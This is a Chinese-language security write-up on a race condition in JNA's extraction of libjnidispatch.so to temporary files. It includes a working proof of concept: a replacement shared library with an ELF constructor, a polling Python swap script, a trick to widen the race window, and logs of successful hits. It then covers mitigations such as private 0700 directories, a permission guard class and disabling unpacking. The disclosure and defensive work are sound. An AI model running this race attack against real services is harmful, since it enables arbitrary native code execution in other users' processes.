JNA 临时解包与路径重绑定风险

JNA 运行时解包 libjnidispatch.so 的动作通常很隐蔽:Java 侧只是首次访问 com.sun.jna.Native,JVM 进程却会在本地文件系统生成一个 jna*.tmp,再把这个路径交给 System.load()。如果 jna.tmpdir 指向共享可写目录,随机文件名只能防止提前占位,不能防止文件出现后的目录项替换。

替换库不需要通过 JNA 的 native version 检查,只要 ELF constructor 已经执行,就说明动态链接阶段已经加载了替换后的文件。

从一次正常初始化看释放路径

准备工作目录并下载 JNA 5.14.0

mkdir -p /tmp/jnaexp
cd /tmp/jnaexp

curl -L -o jna-5.14.0.jar   https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.14.0/jna-5.14.0.jar

确认 JAR 内包含 Linux x86-64 平台本地库

jar tf jna-5.14.0.jar | grep 'com/sun/jna/linux-x86-64/libjnidispatch.so'

com.sun.jna.Native 首次初始化时会加载 jnidispatch,访问 Native.POINTER_SIZE 足以触发该流程。

​Trigger.java

/**
 * 触发 com.sun.jna.Native 类初始化。
 */
public class Trigger {
    public static void main(String[] args) {
        System.out.println("jna.tmpdir=" + System.getProperty("jna.tmpdir"));

        // 访问该字段会触发 Native 类初始化和 jnidispatch 加载。
        System.out.println("pointer.size=" + com.sun.jna.Native.POINTER_SIZE);
    }
}

编译触发类

javac -cp jna-5.14.0.jar -d classes Trigger.java
echo "javac_rc=$?"

开启 JNA 加载日志并运行

java -cp classes:jna-5.14.0.jar   -Djna.debug_load.jna=true   Trigger > normal.out 2> normal.err

cat normal.out
cat normal.err

com.sun.jna.Native 初始化成功,jnidispatch 已正常加载。

JNA 加载日志

Found library resource at jar:file: 表示本地库来自 JAR;Extracting library to 给出释放后的临时文件;Trying 表示后续按该路径加载。

JNA 从 jna-5.14.0.jar 中找到内嵌的 libjnidispatch.so,将其释放到 /home/nl/.cache/JNA/temp/jna*.tmp,随后通过该临时路径成功加载。

用 ELF constructor 证明加载发生

替换库不需要实现 JNA native API。ELF constructor 会在动态链接阶段执行,早于 JNA 的 getNativeVersion() 检查。marker 文件比 Java 异常更适合作为判断点,因为它直接来自本地库装载时执行的代码。

​evil.c

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>

__attribute__((constructor))
static void write_marker(void) {
    int fd = open("/tmp/jnaexp/evil-loaded.txt",
                  O_WRONLY | O_CREAT | O_APPEND,
                  0644);

    if (fd >= 0) {
        dprintf(fd,
                "constructor executed pid=%ld uid=%ld time=%ld\n",
                (long)getpid(),
                (long)getuid(),
                (long)time(NULL));
        close(fd);
    }
}

编译共享库并确认 ELF 类型

cc -shared -fPIC evil.c -o evil.so
file evil.so

生成的是 Linux x86-64 共享库,类型符合 System.load() / dlopen() 加载条件。

确认 constructor 函数存在

readelf -Ws evil.so | grep write_marker

write_marker 符号存在,证明 marker 写入函数已被编译进 evil.so。

确认 ELF 初始化数组存在

readelf -S evil.so | grep '\.init_array'

.init_array 段

write_marker 符号和 .init_array 段同时存在,说明该共享库具备装载时执行代码的条件。后续只要 /tmp/jnaexp/evil-loaded.txt 出现,就能证明替换库已经进入动态链接阶段。

轮询随机临时文件并替换目录项

File.createTempFile() 生成随机文件名,固定名称抢占不可行。更直接的方式是轮询释放目录:发现 jna*.tmp 后,把替换库复制到同目录隐藏文件,再通过 os.replace() 替换目标路径。同一文件系统内的 os.replace() 会替换目录项,正好对应 JNA 写完临时文件后再按路径加载的窗口。

​attacker.py

#!/usr/bin/env python3
"""
轮询 JNA 临时释放目录,发现 jna*.tmp 后用指定 ELF 文件替换。
"""
import os
import shutil
import sys
import time


def replace_candidate(path: str, evil_so: str) -> bool:
    """复制替换库到同目录临时文件,再原子替换目标目录项。"""
    directory = os.path.dirname(path)
    swap_path = os.path.join(directory, f".swap-{os.getpid()}")

    try:
        shutil.copyfile(evil_so, swap_path)
        os.chmod(swap_path, 0o755)
        os.replace(swap_path, path)
        return True
    except OSError:
        try:
            if os.path.exists(swap_path):
                os.unlink(swap_path)
        except OSError:
            pass
        return False


def main() -> int:
    if len(sys.argv) != 3:
        print("usage: attacker.py <watch_dir> <evil_so>", file=sys.stderr)
        return 2

    watch_dir = sys.argv[1]
    evil_so = sys.argv[2]
    deadline = time.time() + 60
    hits = 0

    while time.time() < deadline:
        try:
            names = os.listdir(watch_dir)
        except FileNotFoundError:
            time.sleep(0.001)
            continue

        for name in names:
            if not name.startswith("jna"):
                continue

            path = os.path.join(watch_dir, name)
            if not os.path.isfile(path):
                continue

            if replace_candidate(path, evil_so):
                print(f"replaced {path}", flush=True)
                hits += 1
                time.sleep(0.02)

        time.sleep(0.0005)

    print(f"hits {hits}", flush=True)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

设置脚本权限并检查语法

chmod +x attacker.py
python3 -m py_compile attacker.py
echo "py_compile_rc=$?"

语法检查成功

JNA 写入临时文件时操作的是已打开 inode;System.load() 接收路径字符串,加载时会重新解析路径。只要父目录允许替换目录项,两步之间就存在路径重新绑定的可能。

扩大释放窗口

本地竞态窗口可能很短。为了让实验稳定命中,可以把 JNA JAR 内的 libjnidispatch.so 尾部扩展一段空洞数据,生成慢释放 JAR。

ELF loader 依据 ELF header 和 program header 映射必要段,尾部追加数据通常不改变有效段映射。

​extend_jnidispatch.py

#!/usr/bin/env python3
"""
扩展 JNA JAR 内 Linux x86-64 jnidispatch 资源的尾部。
"""
from pathlib import Path

target = Path("jna_slow/com/sun/jna/linux-x86-64/libjnidispatch.so")

# 追加 160 MiB 空洞数据,用于拉长释放写入时间。
with target.open("ab") as f:
    f.truncate(f.tell() + 160 * 1024 * 1024)

print(target.stat().st_size)

创建 JNA JAR 的解包目录

mkdir jna_slow
cd jna_slow

把原始 jna-5.14.0.jar 解包到 jna_slow/

jar xf ../jna-5.14.0.jar

回到实验目录 /tmp/jnaexp,扩展 JAR 内 libjnidispatch.so 的尾部体积

cd ..
python3 extend_jnidispatch.py

把修改后的目录重新打包成 jna-slow.jar(c0f 中的 0 表示不压缩)

jar c0f jna-slow.jar -C jna_slow .

扩展后的本地库字节长度

167906607

扩展后的 libjnidispatch.so 文件大小,约 160 MiB。

确认慢释放 JAR 仍包含目标资源

jar tf jna-slow.jar | grep 'com/sun/jna/linux-x86-64/libjnidispatch.so'

这一步不是为了改变 ELF 的功能,而是为了人为拉长 JNA 从 JAR 解包 libjnidispatch.so 到本地 jna*.tmp 的时间窗口。从而扩大后续路径替换竞态窗口,提高实验命中率。

可替换目录中的命中结果

创建一个 0777 且无粘滞位的目录,并通过 -Djna.tmpdir 强制 JNA 使用它。该目录允许其他写入主体替换目录项,正好用于观察路径污染结果。

命令:创建不安全释放目录并确认权限

rm -rf unsafe evil-loaded.txt attack.log victim.out victim.err
mkdir -m 0777 unsafe
ls -ld unsafe
stat -c '%a %U %G %n' unsafe

启动轮询替换脚本

python3 attacker.py /tmp/jnaexp/unsafe /tmp/jnaexp/evil.so > attack.log 2>&1 &
apid=$!

让 JNA 从不安全目录释放并加载本地库

java -cp classes:jna-slow.jar   -Djna.tmpdir=/tmp/jnaexp/unsafe   -Djna.debug_load.jna=true   Trigger > victim.out 2> victim.err

rc=$?
wait "$apid"

汇总退出码、JNA 日志、替换日志和 marker

printf 'rc=%s
' "$rc"
printf '%s
' '--- victim.out'
cat victim.out
printf '%s
' '--- victim.err'
cat victim.err
printf '%s
' '--- attack.log'
cat attack.log
printf '%s
' '--- marker'
cat evil-loaded.txt 2>/dev/null || true

成功命中时的结果

  1. JNA 从 jna-slow.jar 中找到内嵌的 libjnidispatch.so。
  2. JNA 将其释放到:
/tmp/jnaexp/unsafe/jna6824871894856462928.tmp
  1. 攻击脚本发现同一个 jna*.tmp 文件,并反复执行替换:
replaced /tmp/jnaexp/unsafe/jna6824871894856462928.tmp
  1. JNA 随后执行:
Trying /tmp/jnaexp/unsafe/jna6824871894856462928.tmp

此时该路径已经被重新绑定为 evil.so。

  1. evil-loaded.txt 中出现:
constructor executed pid=215018 uid=1000 ...

说明替换后的 ELF 已经进入动态链接阶段,并执行了 constructor。

  1. 最后的:
UnsatisfiedLinkError: getNativeVersion()

是预期现象,因为 evil.so 没有实现 JNA 的 native API。它不否定攻击成功,反而说明 JNA 已经加载了替换库,随后才在 native 方法解析阶段失败。

marker 文件比 Java 退出码更能说明问题:本地代码已经执行,JNA 只是随后在 native 方法解析阶段失败。

未命中时看哪些证据

竞态实验并不保证每次命中。如果输出 pointer.size=8 且没有 marker 文件,需要先判断是未捕获窗口,还是 JNA 根本没有走预期释放路径。

检查是否使用慢释放 JAR 和指定临时目录

grep -E 'Found library resource|Extracting library to|Trying' victim.err || true
cat attack.log
ls -l evil-loaded.txt 2>/dev/null || true

JNA 从 jna-slow.jar 中释放 libjnidispatch.so 到 /tmp/jnaexp/unsafe/jna*.tmp,并通过该路径成功加载真实 jnidispatch,因此程序正常输出 pointer.size=8 且退出码为 0。攻击脚本日志显示 hits 0,同时 marker 区域为空,说明替换脚本未捕获释放窗口,evil.so 未被加载。

再运行一次

rm -f evil-loaded.txt attack.log victim.out victim.err

python3 attacker.py /tmp/jnaexp/unsafe /tmp/jnaexp/evil.so > attack.log 2>&1 &
apid=$!

java -cp classes:jna-slow.jar   -Djna.tmpdir=/tmp/jnaexp/unsafe   -Djna.debug_load.jna=true   Trigger > victim.out 2> victim.err

rc=$?
wait "$apid"

printf 'rc=%s
' "$rc"
cat attack.log
cat evil-loaded.txt 2>/dev/null || true

重新运行后命中

攻击脚本在 JNA 释放 jna*.tmp 后替换了该路径,hits 366 表明替换多次发生,constructor executed 证明替换 ELF 已被加载并执行。由于替换库未实现 JNA 的 native API,Java 进程最终以 rc=1 异常退出。

这类失败分支说明问题具有竞态特征。随机文件名不是防护边界,父目录是否可替换才是关键条件。

私有目录下的行为变化

把 jna.tmpdir 固定到 0700 私有目录,可以阻止其他 uid 列目录、创建文件或替换目录项。相同 Unix 用户仍然拥有该目录,0700 不能阻止同 uid 低信任进程。

创建私有释放目录并确认权限

rm -rf safe evil-loaded.txt attack.log safe.out safe.err
mkdir -m 0700 safe
ls -ld safe
stat -c '%a %U %G %n' safe

使用私有目录运行 JNA 加载流程

java -cp classes:jna-5.14.0.jar   -Djna.tmpdir=/tmp/jnaexp/safe   -Djna.debug_load.jna=true   Trigger > safe.out 2> safe.err

cat safe.out
cat safe.err

私有目录下正常加载

700 权限证明跨 uid 写入者不能进入该目录,也无法列出或替换 jna*.tmp。如果 Java 进程和替换脚本使用同一个 Unix 用户,仍然可以替换目录项;这类部署需要账号隔离、插件隔离或进程隔离。

路径重新解析带来的风险点

JNA 释放本地库的关键行为可以拆成两步:

  1. 从 JAR 资源读取 libjnidispatch.so,写入 jna*.tmp。
  2. 调用 System.load(绝对路径) 加载该文件。

写入阶段绑定的是已打开文件对应的 inode;加载阶段重新解析路径字符串。父目录可写时,目录项可以在两步之间指向另一个 inode。

行为顺序与证据如下:

顺序

行为

可观察证据

1

JNA 创建并写入 jna*.tmp

Extracting library to ...

2

轮询脚本发现随机文件名

replaced .../jna*.tmp

3

System.load() 重新解析路径

Trying .../jna*.tmp

4

动态链接器加载替换 ELF

evil-loaded.txt 出现

5

JNA 调用 native version 方法

UnsatisfiedLinkError

问题并不是可信 JAR 直接执行任意本地库,而是可信资源被释放到可替换路径后,加载阶段使用的目录项不再指向原始 inode。

在现有服务中定位释放路径

排查现有服务时,先确认是否发生 JAR 解包,再检查释放路径父目录权限、所有者、挂载来源和同 uid 进程面。

开启 JNA 加载日志

java -cp classes:jna-5.14.0.jar   -Djna.debug_load.jna=true   Trigger > load.out 2> load.err

cat load.err

发生 JAR 解包时的关键日志

保留释放出的临时库并检查父目录权限

java -cp classes:jna-5.14.0.jar   -Djnidispatch.preserve=true   -Djna.debug_load.jna=true   Trigger > preserve.out 2> preserve.err

tmp_path=$(grep -m1 'Extracting library to ' preserve.err | sed 's/^.*Extracting library to //')
parent_dir=$(dirname "$tmp_path")

ls -ld "$parent_dir"
ls -l "$tmp_path"
stat -c '%a %U %G %n' "$parent_dir"

释放目录与临时库权限

共享库文件自身是否带可执行位不是核心条件。Linux 动态链接器需要读取 ELF 内容;路径替换风险取决于父目录是否允许低信任主体替换目录项。

部署状态可以按父目录权限和运行身份判断:

目录状态

风险判断依据

用户私有缓存目录,权限 0700

跨 uid 替换通常不可行

标准 /tmp,权限 1777

粘滞位限制其他 uid 删除或替换不属于自己的文件

自建 0777 且无粘滞位目录

跨 uid 替换条件可能成立

多个任务共用同一 Unix 用户

同 uid 替换仍可能成立

容器共享宿主机可写挂载

需要按宿主机 uid、gid 和挂载权限判断

固定可信释放目录并验证

直接的处理方式是在 JVM 启动前创建服务账号私有目录,并固定 jna.tmpdir。

创建服务账号私有 JNA 临时目录

sudo install -d -m 0700 -o nl -g nl /var/lib/myapp/jna-tmp
stat -c '%A %a %U %G %n' /var/lib/myapp/jna-tmp

这里的 0700 表示只有目录所有者 nl 可以进入、列目录和写入,其他用户无法替换其中的 jna*.tmp 文件。

验证固定可信释放目录是否生效

java -cp classes:jna-5.14.0.jar \
  -Djna.tmpdir=/var/lib/myapp/jna-tmp \
  -Djna.debug_load.jna=true \
  Trigger > safe.out 2> safe.err

cat safe.out
cat safe.err

  1. JNA 确实把 native 库释放到了 /var/lib/myapp/jna-tmp;
  2. 后续也是从这个目录加载;
  3. 固定释放目录配置生效。

应用入口可以在任何 JNA 类被引用前加入目录权限断言。检查项包括目录存在性、符号链接、POSIX 权限、组写和其他用户写权限。

​JnaTmpGuard.java

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.attribute.PosixFileAttributeView;
import java.nio.file.attribute.PosixFileAttributes;
import java.nio.file.attribute.PosixFilePermission;
import java.util.Set;

/**
 * 在 JNA 初始化前检查 jna.tmpdir 是否为受控目录。
 */
public final class JnaTmpGuard {
    private JnaTmpGuard() {
        throw new AssertionError("no instances");
    }

    public static void verify(Path dir) throws IOException {
        Path absolute = dir.toAbsolutePath().normalize();

        if (!Files.exists(absolute, LinkOption.NOFOLLOW_LINKS)) {
            throw new IllegalStateException("jna.tmpdir does not exist: " + absolute);
        }

        if (Files.isSymbolicLink(absolute)) {
            throw new IllegalStateException("jna.tmpdir must not be a symbolic link: " + absolute);
        }

        if (!Files.isDirectory(absolute, LinkOption.NOFOLLOW_LINKS)) {
            throw new IllegalStateException("jna.tmpdir is not a directory: " + absolute);
        }

        PosixFileAttributeView view = Files.getFileAttributeView(
                absolute,
                PosixFileAttributeView.class,
                LinkOption.NOFOLLOW_LINKS);
        if (view == null) {
            throw new IllegalStateException("jna.tmpdir does not expose POSIX permissions: " + absolute);
        }

        PosixFileAttributes attrs = view.readAttributes();
        Set<PosixFilePermission> perms = attrs.permissions();

        if (perms.contains(PosixFilePermission.GROUP_WRITE)
                || perms.contains(PosixFilePermission.OTHERS_WRITE)) {
            throw new IllegalStateException("jna.tmpdir is group/world writable: " + absolute);
        }

        if (!Files.isWritable(absolute)) {
            throw new IllegalStateException("jna.tmpdir is not writable by current process: " + absolute);
        }
    }
}

​Main.java

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.PosixFilePermissions;

/**
 * 在业务代码或第三方库触发 JNA 前,固定并校验 jna.tmpdir。
 */
public final class Main {
    public static void main(String[] args) throws Exception {
        Path jnaTmp = Path.of("/tmp/jnaexp/app-jna-tmp");

        if (!Files.exists(jnaTmp)) {
            Files.createDirectories(jnaTmp,
                    PosixFilePermissions.asFileAttribute(
                            PosixFilePermissions.fromString("rwx------")));
        }

        System.setProperty("jna.tmpdir", jnaTmp.toString());
        JnaTmpGuard.verify(jnaTmp);

        // 显式触发 JNA 初始化,使目录配置错误尽早暴露。
        Class.forName("com.sun.jna.Native");

        System.out.println("JNA initialized with " + System.getProperty("jna.tmpdir"));
    }
}

编译并运行入口检查

javac -cp jna-5.14.0.jar -d classes JnaTmpGuard.java Main.java

java -cp classes:jna-5.14.0.jar Main

私有目录检查通过

把目录改成 world-writable 后验证检查失败

chmod 0777 /tmp/jnaexp/app-jna-tmp

java -cp classes:jna-5.14.0.jar Main

目录权限检查失败

这段入口检查可以拦截常见误配置:jna.tmpdir 指向组写、其他用户可写、符号链接或非目录路径。更严格的部署还需要检查父路径是否受控、目录是否位于共享挂载、服务账号下是否存在低信任同 uid 进程。

关闭运行时解包回退

对高安全要求场景,可以预置与 JNA 版本匹配的 libjnidispatch.so,从可信只读路径加载,并关闭 classpath 解包。

从可信本地库目录加载 jnidispatch

java   -Djna.boot.library.path=/opt/myapp/native   -Djna.nounpack=true   -Djna.noclasspath=true   -jar app.jar

配置含义:

JVM 参数

作用

-Djna.boot.library.path=/opt/myapp/native

指定可信本地库目录

-Djna.nounpack=true

禁止从 JAR 解包本地库

-Djna.noclasspath=true

禁止从 classpath 查找本地库资源

jna.jar 与 libjnidispatch.so 必须版本匹配。可信本地库目录应由受控部署流程写入,运行期服务进程只需要读取权限。可信路径加载失败时,进程应直接失败,避免回退到不可信临时释放路径。

结论

  • JNA 内嵌本地库释放路径风险的核心不在 JAR 是否可信,也不在临时文件名是否随机,而在释放目录是否允许低信任主体替换目录项。
  • JNA Extracting library to 日志证明释放路径,轮询脚本日志证明目录项被替换,evil-loaded.txt 证明替换库 constructor 执行,UnsatisfiedLinkError 证明 JNA 已进入替换库加载后的 native 检查阶段。
  • 处理重点应放在释放目录可信性上:固定 jna.tmpdir 到服务账号私有 0700 目录,避免共享写入挂载和同 uid 低信任进程;高安全要求场景预置版本匹配的 libjnidispatch.so,通过 jna.boot.library.path 从可信只读路径加载,并使用 jna.nounpack=true、jna.noclasspath=true 关闭运行时解包回退。